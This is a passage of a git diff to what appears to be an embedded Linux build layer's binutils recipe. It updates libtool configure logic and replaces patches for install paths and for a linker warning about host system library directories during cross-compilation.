-+postlink_cmds='`$ECHO "$postlink_cmds" | $SED "$delay_single_quote_subst"`'
- file_list_spec='`$ECHO "$file_list_spec" | $SED "$delay_single_quote_subst"`'
- variables_saved_for_relink='`$ECHO "$variables_saved_for_relink" | $SED "$delay_single_quote_subst"`'
- need_lib_prefix='`$ECHO "$need_lib_prefix" | $SED "$delay_single_quote_subst"`'
-@@ -12388,8 +13053,13 @@ reload_flag \
- OBJDUMP \
- deplibs_check_method \
- file_magic_cmd \
-+file_magic_glob \
-+want_nocaseglob \
-+DLLTOOL \
-+sharedlib_from_linklib_cmd \
- AR \
- AR_FLAGS \
-+archiver_list_spec \
- STRIP \
- RANLIB \
- CC \
-@@ -12399,12 +13069,14 @@ lt_cv_sys_global_symbol_pipe \
- lt_cv_sys_global_symbol_to_cdecl \
- lt_cv_sys_global_symbol_to_c_name_address \
- lt_cv_sys_global_symbol_to_c_name_address_lib_prefix \
-+nm_file_list_spec \
- lt_prog_compiler_no_builtin_flag \
--lt_prog_compiler_wl \
- lt_prog_compiler_pic \
-+lt_prog_compiler_wl \
- lt_prog_compiler_static \
- lt_cv_prog_compiler_c_o \
- need_locks \
-+MANIFEST_TOOL \
- DSYMUTIL \
- NMEDIT \
- LIPO \
-@@ -12420,7 +13092,6 @@ no_undefined_flag \
- hardcode_libdir_flag_spec \
- hardcode_libdir_flag_spec_ld \
- hardcode_libdir_separator \
--fix_srcfile_path \
- exclude_expsyms \
- include_expsyms \
- file_list_spec \
-@@ -12456,6 +13127,7 @@ module_cmds \
- module_expsym_cmds \
- export_symbols_cmds \
- prelink_cmds \
-+postlink_cmds \
- postinstall_cmds \
- postuninstall_cmds \
- finish_cmds \
-@@ -13054,7 +13726,8 @@ $as_echo X"$file" |
- # NOTE: Changes made to this file will be lost: look at ltmain.sh.
- #
- # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
--# 2006, 2007, 2008, 2009 Free Software Foundation, Inc.
-+# 2006, 2007, 2008, 2009, 2010 Free Software Foundation,
-+# Inc.
- # Written by Gordon Matzigkeit, 1996
- #
- # This file is part of GNU Libtool.
-@@ -13157,19 +13830,42 @@ SP2NL=$lt_lt_SP2NL
- # turn newlines into spaces.
- NL2SP=$lt_lt_NL2SP
-
-+# convert \$build file names to \$host format.
-+to_host_file_cmd=$lt_cv_to_host_file_cmd
-+
-+# convert \$build files to toolchain format.
-+to_tool_file_cmd=$lt_cv_to_tool_file_cmd
-+
- # An object symbol dumper.
- OBJDUMP=$lt_OBJDUMP
-
- # Method to check whether dependent libraries are shared objects.
- deplibs_check_method=$lt_deplibs_check_method
-
--# Command to use when deplibs_check_method == "file_magic".
-+# Command to use when deplibs_check_method = "file_magic".
- file_magic_cmd=$lt_file_magic_cmd
-
-+# How to find potential files when deplibs_check_method = "file_magic".
-+file_magic_glob=$lt_file_magic_glob
-+
-+# Find potential files using nocaseglob when deplibs_check_method = "file_magic".
-+want_nocaseglob=$lt_want_nocaseglob
-+
-+# DLL creation program.
-+DLLTOOL=$lt_DLLTOOL
-+
-+# Command to associate shared and link libraries.
-+sharedlib_from_linklib_cmd=$lt_sharedlib_from_linklib_cmd
-+
- # The archiver.
- AR=$lt_AR
-+
-+# Flags to create an archive.
- AR_FLAGS=$lt_AR_FLAGS
-
-+# How to feed a file listing to the archiver.
-+archiver_list_spec=$lt_archiver_list_spec
-+
- # A symbol stripping program.
- STRIP=$lt_STRIP
-
-@@ -13199,6 +13895,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
- # Transform the output of nm in a C name address pair when lib prefix is needed.
- global_symbol_to_c_name_address_lib_prefix=$lt_lt_cv_sys_global_symbol_to_c_name_address_lib_prefix
-
-+# Specify filename containing input files for \$NM.
-+nm_file_list_spec=$lt_nm_file_list_spec
-+
-+# The root where to search for dependent libraries,and in which our libraries should be installed.
-+lt_sysroot=$lt_sysroot
-+
- # The name of the directory that contains temporary libtool files.
- objdir=$objdir
-
-@@ -13208,6 +13910,9 @@ MAGIC_CMD=$MAGIC_CMD
- # Must we lock files when doing compilation?
- need_locks=$lt_need_locks
-
-+# Manifest tool.
-+MANIFEST_TOOL=$lt_MANIFEST_TOOL
-+
- # Tool to manipulate archived DWARF debug symbol files on Mac OS X.
- DSYMUTIL=$lt_DSYMUTIL
-
-@@ -13322,12 +14027,12 @@ with_gcc=$GCC
- # Compiler flag to turn off builtin functions.
- no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag
-
--# How to pass a linker flag through the compiler.
--wl=$lt_lt_prog_compiler_wl
--
- # Additional compiler flags for building library objects.
- pic_flag=$lt_lt_prog_compiler_pic
-
-+# How to pass a linker flag through the compiler.
-+wl=$lt_lt_prog_compiler_wl
-+
- # Compiler flag to prevent dynamic linking.
- link_static_flag=$lt_lt_prog_compiler_static
-
-@@ -13414,9 +14119,6 @@ inherit_rpath=$inherit_rpath
- # Whether libtool must link a program against all its dependency libraries.
- link_all_deplibs=$link_all_deplibs
-
--# Fix the shell variable \$srcfile for the compiler.
--fix_srcfile_path=$lt_fix_srcfile_path
--
- # Set to "yes" if exported symbols are required.
- always_export_symbols=$always_export_symbols
-
-@@ -13432,6 +14134,9 @@ include_expsyms=$lt_include_expsyms
- # Commands necessary for linking programs (against libraries) with templates.
- prelink_cmds=$lt_prelink_cmds
-
-+# Commands necessary for finishing linking programs.
-+postlink_cmds=$lt_postlink_cmds
-+
- # Specify filename containing input files.
- file_list_spec=$lt_file_list_spec
-
-@@ -13464,210 +14169,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
- # if finds mixed CR/LF and LF-only lines. Since sed operates in
- # text mode, it properly converts lines to CR/LF. This bash problem
- # is reportedly fixed, but why not run on old versions too?
-- sed '/^# Generated shell functions inserted here/q' "$ltmain" >> "$cfgfile" \
-- || (rm -f "$cfgfile"; exit 1)
--
-- case $xsi_shell in
-- yes)
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_dirname file append nondir_replacement
--# Compute the dirname of FILE. If nonempty, add APPEND to the result,
--# otherwise set result to NONDIR_REPLACEMENT.
--func_dirname ()
--{
-- case ${1} in
-- */*) func_dirname_result="${1%/*}${2}" ;;
-- * ) func_dirname_result="${3}" ;;
-- esac
--}
--
--# func_basename file
--func_basename ()
--{
-- func_basename_result="${1##*/}"
--}
--
--# func_dirname_and_basename file append nondir_replacement
--# perform func_basename and func_dirname in a single function
--# call:
--# dirname: Compute the dirname of FILE. If nonempty,
--# add APPEND to the result, otherwise set result
--# to NONDIR_REPLACEMENT.
--# value returned in "$func_dirname_result"
--# basename: Compute filename of FILE.
--# value retuned in "$func_basename_result"
--# Implementation must be kept synchronized with func_dirname
--# and func_basename. For efficiency, we do not delegate to
--# those functions but instead duplicate the functionality here.
--func_dirname_and_basename ()
--{
-- case ${1} in
-- */*) func_dirname_result="${1%/*}${2}" ;;
-- * ) func_dirname_result="${3}" ;;
-- esac
-- func_basename_result="${1##*/}"
--}
--
--# func_stripname prefix suffix name
--# strip PREFIX and SUFFIX off of NAME.
--# PREFIX and SUFFIX must not contain globbing or regex special
--# characters, hashes, percent signs, but SUFFIX may contain a leading
--# dot (in which case that matches only a dot).
--func_stripname ()
--{
-- # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are
-- # positional parameters, so assign one to ordinary parameter first.
-- func_stripname_result=${3}
-- func_stripname_result=${func_stripname_result#"${1}"}
-- func_stripname_result=${func_stripname_result%"${2}"}
--}
--
--# func_opt_split
--func_opt_split ()
--{
-- func_opt_split_opt=${1%%=*}
-- func_opt_split_arg=${1#*=}
--}
--
--# func_lo2o object
--func_lo2o ()
--{
-- case ${1} in
-- *.lo) func_lo2o_result=${1%.lo}.${objext} ;;
-- *) func_lo2o_result=${1} ;;
-- esac
--}
--
--# func_xform libobj-or-source
--func_xform ()
--{
-- func_xform_result=${1%.*}.lo
--}
--
--# func_arith arithmetic-term...
--func_arith ()
--{
-- func_arith_result=$(( $* ))
--}
--
--# func_len string
--# STRING may not start with a hyphen.
--func_len ()
--{
-- func_len_result=${#1}
--}
--
--_LT_EOF
-- ;;
-- *) # Bourne compatible functions.
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_dirname file append nondir_replacement
--# Compute the dirname of FILE. If nonempty, add APPEND to the result,
--# otherwise set result to NONDIR_REPLACEMENT.
--func_dirname ()
--{
-- # Extract subdirectory from the argument.
-- func_dirname_result=`$ECHO "${1}" | $SED "$dirname"`
-- if test "X$func_dirname_result" = "X${1}"; then
-- func_dirname_result="${3}"
-- else
-- func_dirname_result="$func_dirname_result${2}"
-- fi
--}
--
--# func_basename file
--func_basename ()
--{
-- func_basename_result=`$ECHO "${1}" | $SED "$basename"`
--}
--
--
--# func_stripname prefix suffix name
--# strip PREFIX and SUFFIX off of NAME.
--# PREFIX and SUFFIX must not contain globbing or regex special
--# characters, hashes, percent signs, but SUFFIX may contain a leading
--# dot (in which case that matches only a dot).
--# func_strip_suffix prefix name
--func_stripname ()
--{
-- case ${2} in
-- .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
-- *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
-- esac
--}
--
--# sed scripts:
--my_sed_long_opt='1s/^\(-[^=]*\)=.*/\1/;q'
--my_sed_long_arg='1s/^-[^=]*=//'
--
--# func_opt_split
--func_opt_split ()
--{
-- func_opt_split_opt=`$ECHO "${1}" | $SED "$my_sed_long_opt"`
-- func_opt_split_arg=`$ECHO "${1}" | $SED "$my_sed_long_arg"`
--}
--
--# func_lo2o object
--func_lo2o ()
--{
-- func_lo2o_result=`$ECHO "${1}" | $SED "$lo2o"`
--}
--
--# func_xform libobj-or-source
--func_xform ()
--{
-- func_xform_result=`$ECHO "${1}" | $SED 's/\.[^.]*$/.lo/'`
--}
--
--# func_arith arithmetic-term...
--func_arith ()
--{
-- func_arith_result=`expr "$@"`
--}
--
--# func_len string
--# STRING may not start with a hyphen.
--func_len ()
--{
-- func_len_result=`expr "$1" : ".*" 2>/dev/null || echo $max_cmd_len`
--}
--
--_LT_EOF
--esac
--
--case $lt_shell_append in
-- yes)
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_append var value
--# Append VALUE to the end of shell variable VAR.
--func_append ()
--{
-- eval "$1+=\$2"
--}
--_LT_EOF
-- ;;
-- *)
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_append var value
--# Append VALUE to the end of shell variable VAR.
--func_append ()
--{
-- eval "$1=\$$1\$2"
--}
--
--_LT_EOF
-- ;;
-- esac
--
--
-- sed -n '/^# Generated shell functions inserted here/,$p' "$ltmain" >> "$cfgfile" \
-- || (rm -f "$cfgfile"; exit 1)
--
-- mv -f "$cfgfile" "$ofile" ||
-+ sed '$q' "$ltmain" >> "$cfgfile" \
-+ || (rm -f "$cfgfile"; exit 1)
-+
-+ if test x"$xsi_shell" = xyes; then
-+ sed -e '/^func_dirname ()$/,/^} # func_dirname /c\
-+func_dirname ()\
-+{\
-+\ case ${1} in\
-+\ */*) func_dirname_result="${1%/*}${2}" ;;\
-+\ * ) func_dirname_result="${3}" ;;\
-+\ esac\
-+} # Extended-shell func_dirname implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_basename ()$/,/^} # func_basename /c\
-+func_basename ()\
-+{\
-+\ func_basename_result="${1##*/}"\
-+} # Extended-shell func_basename implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_dirname_and_basename ()$/,/^} # func_dirname_and_basename /c\
-+func_dirname_and_basename ()\
-+{\
-+\ case ${1} in\
-+\ */*) func_dirname_result="${1%/*}${2}" ;;\
-+\ * ) func_dirname_result="${3}" ;;\
-+\ esac\
-+\ func_basename_result="${1##*/}"\
-+} # Extended-shell func_dirname_and_basename implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_stripname ()$/,/^} # func_stripname /c\
-+func_stripname ()\
-+{\
-+\ # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are\
-+\ # positional parameters, so assign one to ordinary parameter first.\
-+\ func_stripname_result=${3}\
-+\ func_stripname_result=${func_stripname_result#"${1}"}\
-+\ func_stripname_result=${func_stripname_result%"${2}"}\
-+} # Extended-shell func_stripname implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_split_long_opt ()$/,/^} # func_split_long_opt /c\
-+func_split_long_opt ()\
-+{\
-+\ func_split_long_opt_name=${1%%=*}\
-+\ func_split_long_opt_arg=${1#*=}\
-+} # Extended-shell func_split_long_opt implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_split_short_opt ()$/,/^} # func_split_short_opt /c\
-+func_split_short_opt ()\
-+{\
-+\ func_split_short_opt_arg=${1#??}\
-+\ func_split_short_opt_name=${1%"$func_split_short_opt_arg"}\
-+} # Extended-shell func_split_short_opt implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_lo2o ()$/,/^} # func_lo2o /c\
-+func_lo2o ()\
-+{\
-+\ case ${1} in\
-+\ *.lo) func_lo2o_result=${1%.lo}.${objext} ;;\
-+\ *) func_lo2o_result=${1} ;;\
-+\ esac\
-+} # Extended-shell func_lo2o implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_xform ()$/,/^} # func_xform /c\
-+func_xform ()\
-+{\
-+ func_xform_result=${1%.*}.lo\
-+} # Extended-shell func_xform implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_arith ()$/,/^} # func_arith /c\
-+func_arith ()\
-+{\
-+ func_arith_result=$(( $* ))\
-+} # Extended-shell func_arith implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_len ()$/,/^} # func_len /c\
-+func_len ()\
-+{\
-+ func_len_result=${#1}\
-+} # Extended-shell func_len implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+fi
-+
-+if test x"$lt_shell_append" = xyes; then
-+ sed -e '/^func_append ()$/,/^} # func_append /c\
-+func_append ()\
-+{\
-+ eval "${1}+=\\${2}"\
-+} # Extended-shell func_append implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_append_quoted ()$/,/^} # func_append_quoted /c\
-+func_append_quoted ()\
-+{\
-+\ func_quote_for_eval "${2}"\
-+\ eval "${1}+=\\\\ \\$func_quote_for_eval_result"\
-+} # Extended-shell func_append_quoted implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ # Save a `func_append' function call where possible by direct use of '+='
-+ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1+="%g' $cfgfile > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+ test 0 -eq $? || _lt_function_replace_fail=:
-+else
-+ # Save a `func_append' function call even when '+=' is not available
-+ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1="$\1%g' $cfgfile > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+ test 0 -eq $? || _lt_function_replace_fail=:
-+fi
-+
-+if test x"$_lt_function_replace_fail" = x":"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Unable to substitute extended shell functions in $ofile" >&5
-+$as_echo "$as_me: WARNING: Unable to substitute extended shell functions in $ofile" >&2;}
-+fi
-+
-+
-+ mv -f "$cfgfile" "$ofile" ||
- (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile")
- chmod +x "$ofile"
-
---
-2.20.1
-
diff --git a/meta/recipes-devtools/binutils/binutils/0006-don-t-let-the-distro-compiler-point-to-the-wrong-ins.patch b/meta/recipes-devtools/binutils/binutils/0006-don-t-let-the-distro-compiler-point-to-the-wrong-ins.patch
new file mode 100644
index 0000000000..507d0b1b2d
--- /dev/null
+++ b/meta/recipes-devtools/binutils/binutils/0006-don-t-let-the-distro-compiler-point-to-the-wrong-ins.patch
@@ -0,0 +1,32 @@
+From fc9e8b99969bb32a4b009eab763bade6c554ef73 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Mon, 2 Mar 2015 01:39:01 +0000
+Subject: [PATCH] don't let the distro compiler point to the wrong installation
+ location
+
+Thanks to RP for helping find the source code causing the issue.
+
+2010/08/13
+Nitin A Kamble <nitin.a.kamble@intel.com>
+
+Upstream-Status: Inappropriate [embedded specific]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ libiberty/Makefile.in | 3 ++-
+ 1 file changed, 2 insertions(+), 1 deletion(-)
+
+diff --git a/libiberty/Makefile.in b/libiberty/Makefile.in
+index abef3c4601b..880c8826482 100644
+--- a/libiberty/Makefile.in
++++ b/libiberty/Makefile.in
+@@ -385,7 +385,8 @@ install-strip: install
+ # multilib-specific flags, it's overridden by FLAGS_TO_PASS from the
+ # default multilib, so we have to take CFLAGS into account as well,
+ # since it will be passed the multilib flags.
+-MULTIOSDIR = `$(CC) $(CFLAGS) -print-multi-os-directory`
++#MULTIOSDIR = `$(CC) $(CFLAGS) -print-multi-os-directory`
++MULTIOSDIR = ""
+ install_to_libdir: all
+ if test -n "${target_header_dir}"; then \
+ ${mkinstalldirs} $(DESTDIR)$(libdir)/$(MULTIOSDIR); \
diff --git a/meta/recipes-devtools/binutils/binutils/0007-don-t-let-the-distro-compiler-point-to-the-wrong-ins.patch b/meta/recipes-devtools/binutils/binutils/0007-don-t-let-the-distro-compiler-point-to-the-wrong-ins.patch
deleted file mode 100644
index a2c6312d0a..0000000000
--- a/meta/recipes-devtools/binutils/binutils/0007-don-t-let-the-distro-compiler-point-to-the-wrong-ins.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From 8cb013106c379e81fe40cfdf486d9805c9e276ad Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 2 Mar 2015 01:39:01 +0000
-Subject: [PATCH 07/15] don't let the distro compiler point to the wrong
- installation location
-
-Thanks to RP for helping find the source code causing the issue.
-
-2010/08/13
-Nitin A Kamble <nitin.a.kamble@intel.com>
-
-Upstream-Status: Inappropriate [embedded specific]
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- libiberty/Makefile.in | 3 ++-
- 1 file changed, 2 insertions(+), 1 deletion(-)
-
-diff --git a/libiberty/Makefile.in b/libiberty/Makefile.in
-index 0be45b4ae8..4817616bb2 100644
---- a/libiberty/Makefile.in
-+++ b/libiberty/Makefile.in
-@@ -364,7 +364,8 @@ install-strip: install
- # multilib-specific flags, it's overridden by FLAGS_TO_PASS from the
- # default multilib, so we have to take CFLAGS into account as well,
- # since it will be passed the multilib flags.
--MULTIOSDIR = `$(CC) $(CFLAGS) -print-multi-os-directory`
-+#MULTIOSDIR = `$(CC) $(CFLAGS) -print-multi-os-directory`
-+MULTIOSDIR = ""
- install_to_libdir: all
- if test -n "${target_header_dir}"; then \
- ${mkinstalldirs} $(DESTDIR)$(libdir)/$(MULTIOSDIR); \
---
-2.20.1
-
diff --git a/meta/recipes-devtools/binutils/binutils/0007-warn-for-uses-of-system-directories-when-cross-linki.patch b/meta/recipes-devtools/binutils/binutils/0007-warn-for-uses-of-system-directories-when-cross-linki.patch
new file mode 100644
index 0000000000..547bfcac68
--- /dev/null
+++ b/meta/recipes-devtools/binutils/binutils/0007-warn-for-uses-of-system-directories-when-cross-linki.patch
@@ -0,0 +1,288 @@
+From 9fb1bafb20371d82b674778d2a8b5c9444fed417 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Fri, 15 Jan 2016 06:31:09 +0000
+Subject: [PATCH] warn for uses of system directories when cross linking
+
+2008-07-02 Joseph Myers <joseph@codesourcery.com>
+
+ ld/
+ * ld.h (args_type): Add error_poison_system_directories.
+ * ld.texinfo (--error-poison-system-directories): Document.
+ * ldfile.c (ldfile_add_library_path): Check
+ command_line.error_poison_system_directories.
+ * ldmain.c (main): Initialize
+ command_line.error_poison_system_directories.
+ * lexsup.c (enum option_values): Add
+ OPTION_ERROR_POISON_SYSTEM_DIRECTORIES.
+ (ld_options): Add --error-poison-system-directories.
+ (parse_args): Handle new option.
+
+2007-06-13 Joseph Myers <joseph@codesourcery.com>
+
+ ld/
+ * config.in: Regenerate.
+ * ld.h (args_type): Add poison_system_directories.
+ * ld.texinfo (--no-poison-system-directories): Document.
+ * ldfile.c (ldfile_add_library_path): Check
+ command_line.poison_system_directories.
+ * ldmain.c (main): Initialize
+ command_line.poison_system_directories.
+ * lexsup.c (enum option_values): Add
+ OPTION_NO_POISON_SYSTEM_DIRECTORIES.
+ (ld_options): Add --no-poison-system-directories.
+ (parse_args): Handle new option.
+
+2007-04-20 Joseph Myers <joseph@codesourcery.com>
+
+ Merge from Sourcery G++ binutils 2.17:
+
+ 2007-03-20 Joseph Myers <joseph@codesourcery.com>
+ Based on patch by Mark Hatle <mark.hatle@windriver.com>.
+ ld/
+ * configure.in (--enable-poison-system-directories): New option.
+ * configure, config.in: Regenerate.
+ * ldfile.c (ldfile_add_library_path): If
+ ENABLE_POISON_SYSTEM_DIRECTORIES defined, warn for use of /lib,
+ /usr/lib, /usr/local/lib or /usr/X11R6/lib.
+
+Upstream-Status: Pending
+
+Signed-off-by: Mark Hatle <mark.hatle@windriver.com>
+Signed-off-by: Scott Garman <scott.a.garman@intel.com>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ ld/config.in | 3 +++
+ ld/configure | 16 ++++++++++++++++
+ ld/configure.ac | 10 ++++++++++
+ ld/ld.h | 8 ++++++++
+ ld/ld.texi | 12 ++++++++++++
+ ld/ldfile.c | 17 +++++++++++++++++
+ ld/ldlex.h | 2 ++
+ ld/ldmain.c | 6 ++++--
+ ld/lexsup.c | 16 ++++++++++++++++
+ 9 files changed, 88 insertions(+), 2 deletions(-)
+
+diff --git a/ld/config.in b/ld/config.in
+index 26d55a00d47..ffad464783c 100644
+--- a/ld/config.in
++++ b/ld/config.in
+@@ -43,6 +43,9 @@
+ language is requested. */
+ #undef ENABLE_NLS
+
++/* Define to warn for use of native system library directories */
++#undef ENABLE_POISON_SYSTEM_DIRECTORIES
++
+ /* Additional extension a shared object might have. */
+ #undef EXTRA_SHLIB_EXTENSION
+
+diff --git a/ld/configure b/ld/configure
+index 26150d62898..1f9ec8ec580 100755
+--- a/ld/configure
++++ b/ld/configure
+@@ -831,6 +831,7 @@ with_lib_path
+ enable_targets
+ enable_64_bit_bfd
+ with_sysroot
++enable_poison_system_directories
+ enable_gold
+ enable_got
+ enable_compressed_debug_sections
+@@ -1500,6 +1501,8 @@ Optional Features:
+ --enable-checking enable run-time checks
+ --enable-targets alternative target configurations
+ --enable-64-bit-bfd 64-bit support (on hosts with narrower word sizes)
++ --enable-poison-system-directories
++ warn for use of native system library directories
+ --enable-gold[=ARG] build gold [ARG={default,yes,no}]
+ --enable-got=<type> GOT handling scheme (target, single, negative,
+ multigot)
+@@ -15312,6 +15315,19 @@ fi
+
+
+
++# Check whether --enable-poison-system-directories was given.
++if test "${enable_poison_system_directories+set}" = set; then :
++ enableval=$enable_poison_system_directories;
++else
++ enable_poison_system_directories=no
++fi
++
++if test "x${enable_poison_system_directories}" = "xyes"; then
++
++$as_echo "#define ENABLE_POISON_SYSTEM_DIRECTORIES 1" >>confdefs.h
++
++fi
++
+ # Check whether --enable-gold was given.
+ if test "${enable_gold+set}" = set; then :
+ enableval=$enable_gold; case "${enableval}" in
+diff --git a/ld/configure.ac b/ld/configure.ac
+index 7f4cff079b7..57d1abff870 100644
+--- a/ld/configure.ac
++++ b/ld/configure.ac
+@@ -102,6 +102,16 @@ AC_SUBST(use_sysroot)
+ AC_SUBST(TARGET_SYSTEM_ROOT)
+ AC_SUBST(TARGET_SYSTEM_ROOT_DEFINE)
+
++AC_ARG_ENABLE([poison-system-directories],
++ AS_HELP_STRING([--enable-poison-system-directories],
++ [warn for use of native system library directories]),,
++ [enable_poison_system_directories=no])
++if test "x${enable_poison_system_directories}" = "xyes"; then
++ AC_DEFINE([ENABLE_POISON_SYSTEM_DIRECTORIES],
++ [1],
++ [Define to warn for use of native system library directories])
++fi
++
+ dnl Use --enable-gold to decide if this linker should be the default.
+ dnl "install_as_default" is set to false if gold is the default linker.
+ dnl "installed_linker" is the installed BFD linker name.
+diff --git a/ld/ld.h b/ld/ld.h
+index f3086bf30de..db5064243c7 100644
+--- a/ld/ld.h
++++ b/ld/ld.h
+@@ -162,6 +162,14 @@ typedef struct
+ in the linker script. */
+ bool force_group_allocation;
+
++ /* If TRUE (the default) warn for uses of system directories when
++ cross linking. */
++ bool poison_system_directories;
++
++ /* If TRUE (default FALSE) give an error for uses of system
++ directories when cross linking instead of a warning. */
++ bool error_poison_system_directories;
++
+ /* Big or little endian as set on command line. */
+ enum endian_enum endian;
+
+diff --git a/ld/ld.texi b/ld/ld.texi
+index fc75e9b3625..dca697d626e 100644
+--- a/ld/ld.texi
++++ b/ld/ld.texi
+@@ -2892,6 +2892,18 @@ string identifying the original linked file does not change.
+
+ Passing @code{none} for @var{style} disables the setting from any
+ @code{--build-id} options earlier on the command line.
++
++@kindex --no-poison-system-directories
++@item --no-poison-system-directories
++Do not warn for @option{-L} options using system directories such as
++@file{/usr/lib} when cross linking. This option is intended for use
++in chroot environments when such directories contain the correct
++libraries for the target system rather than the host.
++
++@kindex --error-poison-system-directories
++@item --error-poison-system-directories
++Give an error instead of a warning for @option{-L} options using
++system directories when cross linking.
+ @end table
+
+ @c man end
+diff --git a/ld/ldfile.c b/ld/ldfile.c
+index 731ae5f7aed..dd8f03fd960 100644
+--- a/ld/ldfile.c
++++ b/ld/ldfile.c
+@@ -117,6 +117,23 @@ ldfile_add_library_path (const char *name, bool cmdline)
+ new_dirs->name = concat (ld_sysroot, name + strlen ("$SYSROOT"), (const char *) NULL);
+ else
+ new_dirs->name = xstrdup (name);
++
++#ifdef ENABLE_POISON_SYSTEM_DIRECTORIES
++ if (command_line.poison_system_directories
++ && ((!strncmp (name, "/lib", 4))
++ || (!strncmp (name, "/usr/lib", 8))
++ || (!strncmp (name, "/usr/local/lib", 14))
++ || (!strncmp (name, "/usr/X11R6/lib", 14))))
++ {
++ if (command_line.error_poison_system_directories)
++ einfo (_("%X%P: error: library search path \"%s\" is unsafe for "
++ "cross-compilation\n"), name);
++ else
++ einfo (_("%P: warning: library search path \"%s\" is unsafe for "
++ "cross-compilation\n"), name);
++ }
++#endif
++
+ }
+
+ /* Try to open a BFD for a lang_input_statement. */
+diff --git a/ld/ldlex.h b/ld/ldlex.h
+index bc58fea73cc..a1595589197 100644
+--- a/ld/ldlex.h
++++ b/ld/ldlex.h
